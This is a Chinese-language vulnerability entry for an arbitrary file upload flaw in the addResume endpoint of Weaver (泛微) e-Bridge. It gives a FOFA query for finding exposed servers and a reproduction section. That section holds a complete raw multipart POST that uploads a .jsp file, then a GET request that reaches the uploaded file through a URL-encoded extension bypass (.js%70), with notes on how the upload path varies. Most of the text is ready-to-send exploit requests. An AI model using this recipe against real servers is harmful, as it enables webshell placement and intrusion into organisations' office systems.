泛微云桥addResume存在任意文件上传漏洞
一、漏洞简介
泛微云桥e-Bridge 是一款办公自动化工具,主要提供文档管理、流程管理、协同办公、知识管理和移动办公等功能。它的目标是将企业内部的各种业务流程数字化,并通过云端技术实现跨部门、跨地域的协同办公和信息共享。泛微云桥addResume存在任意文件上传漏洞
二、影响版本
- 泛微云桥e-Bridge
三、资产测绘
- fofa
app="泛微-云桥e-Bridge"
- 特征
四、漏洞复现
POST /wxclient/app/recruit/resume/addResume?fileElementld=H HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary83Hl3B723UfEAUV0
Content-Length: 279
------WebKitFormBoundary83Hl3B723UfEAUV0
Content-Disposition: form-data; name="file";filename="1234.jsp"
123123
------WebKitFormBoundary83Hl3B723UfEAUV0
Content-Disposition: form-data; name="file";filename="1234.jsp"
123123
------WebKitFormBoundary83Hl3B723UfEAUV0--
http://ip/upload/202408/C/1234.js%70
url链接C处根据环境不同而变化。
1、有的环境是1个大写字母
2、有的环境是2个大写字母
GET /upload/202408/H/1234.js%70 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate